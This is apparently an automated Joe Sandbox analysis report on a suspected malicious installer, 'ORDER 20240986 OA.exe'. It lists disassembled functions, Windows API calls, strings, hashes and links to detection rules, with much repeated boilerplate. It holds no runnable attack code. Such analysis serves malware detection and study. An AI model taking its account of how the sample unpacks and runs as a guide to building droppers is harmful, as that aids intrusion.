Associated: 00000000.00000002.2286852319.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2287227071.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER 20240986 OA.jbxd

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2659869361-3081826266
Opcode ID: cc3b6fad2320eb0d125534955cb1fe8af3638bf69e103b669ecb1462063790d4
Instruction ID: 803477e47080facc391f0cecd2807ccdb00b9d1fdb40608b9d44cb66137c19bb
Opcode Fuzzy Hash: cc3b6fad2320eb0d125534955cb1fe8af3638bf69e103b669ecb1462063790d4
Instruction Fuzzy Hash: 3BD0A731501A30AAC111BB449D04DDF72ACDE45304342047FF101B31A2C7BC2D5287FD

Function 00402D44 Relevance: 6.1, APIs: 4, Instructions: 63registryCOMMON

Download Yara Rule

APIs

RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402DA9
RegCloseKey.ADVAPI32(?,?,?), ref: 00402DB2
RegCloseKey.ADVAPI32(?,?,?), ref: 00402DD3

Memory Dump Source

Source File: 00000000.00000002.2286754998.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2286713295.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286806992.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2287227071.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER 20240986 OA.jbxd

Similarity

API ID: Close$Enum
String ID:
API String ID: 464197530-0
Opcode ID: 1341f91fd8d518b2ca140e0133bcf02bd0ea54a7f691716fe820626e10176459
Instruction ID: 4ebe2cb43181949e29f1e9fb79ae388d5d3e17bd3db4e8cfc4c1202d027f6d8e
Opcode Fuzzy Hash: 1341f91fd8d518b2ca140e0133bcf02bd0ea54a7f691716fe820626e10176459
Instruction Fuzzy Hash: FB116A32500108FBDF02AB90CE49FEE7B7DAF44340F110076B905B51E1E7B59E21AB58

Function 00402E79 Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000,00403059,?,?,00000006,00000008,0000000A), ref: 00402E8C
GetTickCount.KERNEL32 ref: 00402EAA
CreateDialogParamW.USER32(0000006F,00000000,00402DF3,00000000), ref: 00402EC7
ShowWindow.USER32(00000000,00000005,?,00000006,00000008,0000000A), ref: 00402ED5

Memory Dump Source

Source File: 00000000.00000002.2286754998.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2286713295.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286806992.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2287227071.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER 20240986 OA.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: 642f8ca692fd152fc603be3dcb1ebc0d266b07749ec13cb5d5f59d94c884d359
Instruction ID: b514363a92e965461d88eaa206c20d0702a544c8e4880045d1c7c79aac8a479e
Opcode Fuzzy Hash: 642f8ca692fd152fc603be3dcb1ebc0d266b07749ec13cb5d5f59d94c884d359
Instruction Fuzzy Hash: 3AF05E30966A21EBC6606B24FE8CA8B7B64FB44B01711887BF001B11B4DA7C4892CBDC

Function 00405C74 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00406297: lstrcpynW.KERNEL32(?,?,00000400,0040343D,007A7A20,NSIS Error,?,00000006,00000008,0000000A), ref: 004062A4

Part of subcall function 00405C17: CharNextW.USER32(?,?,C:\Users\user\AppData\Local\Temp\nsx1318.tmp,?,00405C8B,C:\Users\user\AppData\Local\Temp\nsx1318.tmp,C:\Users\user\AppData\Local\Temp\nsx1318.tmp,?,?,74DF3420,004059C9,?,C:\Users\user\AppData\Local\Temp\,74DF3420,00000000), ref: 00405C25
Part of subcall function 00405C17: CharNextW.USER32(00000000), ref: 00405C2A
Part of subcall function 00405C17: CharNextW.USER32(00000000), ref: 00405C42

lstrlenW.KERNEL32(C:\Users\user\AppData\Local\Temp\nsx1318.tmp,00000000,C:\Users\user\AppData\Local\Temp\nsx1318.tmp,C:\Users\user\AppData\Local\Temp\nsx1318.tmp,?,?,74DF3420,004059C9,?,C:\Users\user\AppData\Local\Temp\,74DF3420,00000000), ref: 00405CCD
GetFileAttributesW.KERNEL32(C:\Users\user\AppData\Local\Temp\nsx1318.tmp,C:\Users\user\AppData\Local\Temp\nsx1318.tmp,C:\Users\user\AppData\Local\Temp\nsx1318.tmp,C:\Users\user\AppData\Local\Temp\nsx1318.tmp,C:\Users\user\AppData\Local\Temp\nsx1318.tmp,C:\Users\user\AppData\Local\Temp\nsx1318.tmp,00000000,C:\Users\user\AppData\Local\Temp\nsx1318.tmp,C:\Users\user\AppData\Local\Temp\nsx1318.tmp,?,?,74DF3420,004059C9,?,C:\Users\user\AppData\Local\Temp\,74DF3420), ref: 00405CDD

Strings

C:\Users\user\AppData\Local\Temp\nsx1318.tmp, xrefs: 00405C7A, 00405C7F, 00405C85, 00405CC6, 00405CCC, 00405CD4, 00405CDC

Memory Dump Source

Source File: 00000000.00000002.2286754998.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2286713295.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286806992.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2287227071.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER 20240986 OA.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsx1318.tmp
API String ID: 3248276644-2645957968
Opcode ID: f876970076993f733f9246bd8c2efe22564afd40dcf2357ec22258bdd39e6079
Instruction ID: 850bfc7ffc9f89e8bebb6f59b63454ed566b5c4d810398842941662e03732b0e
Opcode Fuzzy Hash: f876970076993f733f9246bd8c2efe22564afd40dcf2357ec22258bdd39e6079
Instruction Fuzzy Hash: 82F0D625019F5216F622363A4D09AAF1954CE82364B0A013FF891722C1DB3C8942DD6E

Function 00406165 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,00000800,00000002,007A0F00,00000000,?,?,Call,?,?,004063D9,80000002), ref: 004061AB
RegCloseKey.ADVAPI32(?,?,004063D9,80000002,Software\Microsoft\Windows\CurrentVersion,Call,Call,Call,00000000,007A0F00), ref: 004061B6

Strings

Call, xrefs: 0040616C

Memory Dump Source

Source File: 00000000.00000002.2286754998.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2286713295.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286806992.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2287227071.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER 20240986 OA.jbxd

Similarity

API ID: CloseQueryValue
String ID: Call
API String ID: 3356406503-1824292864
Opcode ID: e86e6fd2e5cb5672620ff5ab575da48d8fe54f653cf1da9627cee5843be69ab4
Instruction ID: f8c60df0673843c4a96ed35a73ceba2ba355a7ad566f59c539dda5576aee505e
Opcode Fuzzy Hash: e86e6fd2e5cb5672620ff5ab575da48d8fe54f653cf1da9627cee5843be69ab4
Instruction Fuzzy Hash: B301BC72500219EADF21CF50CC09EDB3BA8EB04360F01803AFD16A6191E778D964CBA4

Function 00405880 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,007A4F28,Error launching installer), ref: 004058A9
CloseHandle.KERNEL32(?), ref: 004058B6

Strings

Error launching installer, xrefs: 00405893

Memory Dump Source

Source File: 00000000.00000002.2286754998.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2286713295.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286806992.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2287227071.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER 20240986 OA.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: c1804180a416b962a28ecbb96a8e49de5f878aa0b2aa8e9b50c45ca8c4f376c1
Instruction ID: b039bfc1fd8153a77b97507ee8e8b42fe9752dbefc529c56e43fdfa491991b30
Opcode Fuzzy Hash: c1804180a416b962a28ecbb96a8e49de5f878aa0b2aa8e9b50c45ca8c4f376c1
Instruction Fuzzy Hash: 6CE0B6F5600209BFFB00AF64ED09E7B7BACEB58605F058525BD51F2290D6B998148A78

Function 004038F2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,00000000,74DF3420,004038CA,004036E0,00000006,?,00000006,00000008,0000000A), ref: 0040390C
GlobalFree.KERNEL32(0083F658), ref: 00403913

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00403904

Memory Dump Source

Source File: 00000000.00000002.2286754998.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2286713295.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286806992.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2287227071.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER 20240986 OA.jbxd

Similarity

API ID: Free$GlobalLibrary
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 1100898210-3081826266
Opcode ID: 4b08b810d440714d2b51308f6ef11deb4a674dc1e9eb6c71d827c8d8e3b91fd9
Instruction ID: 827a6d7c30b52d61f5a2dbff04e35f254d4b7381da6d9dc608e34789494937b8
Opcode Fuzzy Hash: 4b08b810d440714d2b51308f6ef11deb4a674dc1e9eb6c71d827c8d8e3b91fd9
Instruction Fuzzy Hash: 58E0CD334010205BC6115F04FE0475A77685F45B22F16003BFC807717147B41C538BC8

Function 00405BB8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,C:\Users\user\Desktop,00402F49,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\ORDER 20240986 OA.exe,C:\Users\user\Desktop\ORDER 20240986 OA.exe,80000000,00000003,?,00000006,00000008,0000000A), ref: 00405BBE
CharPrevW.USER32(?,00000000,?,C:\Users\user\Desktop,00402F49,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\ORDER 20240986 OA.exe,C:\Users\user\Desktop\ORDER 20240986 OA.exe,80000000,00000003,?,00000006,00000008,0000000A), ref: 00405BCE

Strings

C:\Users\user\Desktop, xrefs: 00405BB8

Memory Dump Source

Source File: 00000000.00000002.2286754998.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2286713295.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286806992.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2287227071.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER 20240986 OA.jbxd

Similarity

API ID: CharPrevlstrlen
String ID: C:\Users\user\Desktop
API String ID: 2709904686-224404859
Opcode ID: e4f7a16c0d3aeb27420e4918e5816bacf7b9900a4c75110623d7ea7fd9e9117e
Instruction ID: d1e11866c06308db2688671cfe2e39cf8e5f3b64411c1caee3e249c785e2e979
Opcode Fuzzy Hash: e4f7a16c0d3aeb27420e4918e5816bacf7b9900a4c75110623d7ea7fd9e9117e
Instruction Fuzzy Hash: BDD05EB34109209AC3126B08DC00D9F77BCEF11301746486AF440A6161D7786C8186AD

Function 6FBB10E1 Relevance: 5.1, APIs: 4, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?), ref: 6FBB116A
GlobalFree.KERNEL32(00000000), ref: 6FBB11C7
GlobalFree.KERNEL32(00000000), ref: 6FBB11D9
GlobalFree.KERNEL32(?), ref: 6FBB1203

Memory Dump Source

Source File: 00000000.00000002.2336495745.000000006FBB1000.00000020.00000001.01000000.00000004.sdmp, Offset: 6FBB0000, based on PE: true

Associated: 00000000.00000002.2336461963.000000006FBB0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2336529386.000000006FBB3000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2336658892.000000006FBB5000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6fbb0000_ORDER 20240986 OA.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: 6efcbedcf4d22fea6821c268e4dbfd655d0a51613f3930a1721e48615aadc850
Instruction ID: 0f0ffbbc5f9e49018296cdf693cb1a4aaf117fb2a8fd899ab4fb3dd1cfbb2f32
Opcode Fuzzy Hash: 6efcbedcf4d22fea6821c268e4dbfd655d0a51613f3930a1721e48615aadc850
Instruction Fuzzy Hash: 8931C2B2904241DFEB009F7AF945A7A77F8FB46320B48462EE844D7254EF74E912CB21

Function 00405CF2 Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405FD7,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405D02
lstrcmpiA.KERNEL32(00000000,00000000), ref: 00405D1A
CharNextA.USER32(00000000,?,00000000,00405FD7,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405D2B
lstrlenA.KERNEL32(00000000,?,00000000,00405FD7,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405D34

Memory Dump Source

Source File: 00000000.00000002.2286754998.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2286713295.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286806992.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2287227071.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER 20240986 OA.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 6db5b03da17fe1faae21ad7e2c869b7ed7bb68520138c246bcc2ad94f2104a67
Instruction ID: 076f441daad098c1e87a0755c7bbd60db18a276d6ce73f7d9d897af98e652dc6
Opcode Fuzzy Hash: 6db5b03da17fe1faae21ad7e2c869b7ed7bb68520138c246bcc2ad94f2104a67
Instruction Fuzzy Hash: E5F0F631204918FFC7129FA4DD0499FBBB8EF06354B2580BAE840FB211D674DE01AFA8

Analysis Process: ORDER 20240986 OA.exePID: 7832, Parent PID: 7316COMMON

Execution Graph

Execution Coverage:	9.4%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	21.2%
Total number of Nodes:	33
Total number of Limit Nodes:	2

Executed Functions

Function 0015C146 Relevance: 9.1, Strings: 7, Instructions: 340
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

0oGp, xrefs: 0015C20A
LjGp, xrefs: 0015C377
PHdq, xrefs: 0015C3EF
(, xrefs: 0015C140
LjGp, xrefs: 0015C38D
s, xrefs: 0015C046
PHdq, xrefs: 0015C400

Memory Dump Source

Source File: 00000004.00000002.2945076810.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_ORDER 20240986 OA.jbxd

Similarity

API ID:
String ID: ($0oGp$LjGp$LjGp$PHdq$PHdq$s
API String ID: 0-2091801497
Opcode ID: 6b53544e97fbc835cea8be569ad59529966d505f9cf53177ecc0a828e0546b45
Instruction ID: 57d6544934507306f82035882a84bf302f2f8adb76a372fc8b77869a53007de9
Opcode Fuzzy Hash: 6b53544e97fbc835cea8be569ad59529966d505f9cf53177ecc0a828e0546b45
Instruction Fuzzy Hash: 89E13E75E04748DFDB14CFA9C894A9DBBF2BF49301F1580A9E819AB262DB349C45CF90

Function 001529E0 Relevance: 8.2, Strings: 6, Instructions: 689
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Xhq, xrefs: 00152BA4
Xhq, xrefs: 00152AD8
Xhq, xrefs: 00153CF6
Xhq, xrefs: 00153CCD
Xhq, xrefs: 00152B57
Xhq, xrefs: 00152A9E

Memory Dump Source

Source File: 00000004.00000002.2945076810.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_ORDER 20240986 OA.jbxd

Similarity

API ID:
String ID: Xhq$Xhq$Xhq$Xhq$Xhq$Xhq
API String ID: 0-2119377026
Opcode ID: 1f3e797a080d5abc51c750f0ed64623eb1d83296c5fa3fca59f5b2064b9f9985
Instruction ID: 330ca980883392674217ea08fb9167176304beec1648321723142df6c3b8382f
Opcode Fuzzy Hash: 1f3e797a080d5abc51c750f0ed64623eb1d83296c5fa3fca59f5b2064b9f9985
Instruction Fuzzy Hash: 10325DA680D7D48FCB628B7448E815B7FB16F83205BC9459FC4D68B687DB28C609C362

Function 3AC95028 Relevance: 8.1, Strings: 4, Instructions: 3069COMMON

Download Yara Rule

Strings

>F:, xrefs: 3AC95351
>F:, xrefs: 3AC95323
N, xrefs: 3AC98408
>F:, xrefs: 3AC9538F

Memory Dump Source

Source File: 00000004.00000002.2974233369.000000003AC90000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AC90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ac90000_ORDER 20240986 OA.jbxd

Similarity

API ID:
String ID: >F:$>F:$>F:$N
API String ID: 0-1264780443
Opcode ID: da95ae6fd28f20ea7e297b981a3e60e9f917c30dcc8857c9425d52ae5b50b41a
Instruction ID: d2fd78fe52c84d03968a54f6d34c57a487545de531de8c261464c034cfb66731
Opcode Fuzzy Hash: da95ae6fd28f20ea7e297b981a3e60e9f917c30dcc8857c9425d52ae5b50b41a
Instruction Fuzzy Hash: 7173D535C107598EDB11EFA8C854AD9FBB1FF99300F51D69AE44867221EB70AAC4CF81

Function 0015C738 Relevance: 7.7, Strings: 6, Instructions: 182
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

LjGp, xrefs: 0015C92D
PHdq, xrefs: 0015C98F
7, xrefs: 0015C739
0oGp, xrefs: 0015C7AA
LjGp, xrefs: 0015C917
PHdq, xrefs: 0015C9A0

Memory Dump Source

Source File: 00000004.00000002.2945076810.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_ORDER 20240986 OA.jbxd

Similarity

API ID:
String ID: 0oGp$7$LjGp$LjGp$PHdq$PHdq
API String ID: 0-2361283832
Opcode ID: 7a9894e85be8496a7bc467f18bb0adb8f02e561720ef0385641a95163f305ec8
Instruction ID: f160f67191c47abec491d7fd9e88c42c10653ff321674b1fa1c27d405b56d001
Opcode Fuzzy Hash: 7a9894e85be8496a7bc467f18bb0adb8f02e561720ef0385641a95163f305ec8
Instruction Fuzzy Hash: 8E81F774E00218DFDB14CFAAC984A9DBBF2BF88301F14D069E818AB365DB349985CF50

Function 00155362 Relevance: 6.4, Strings: 5, Instructions: 195
COMMON

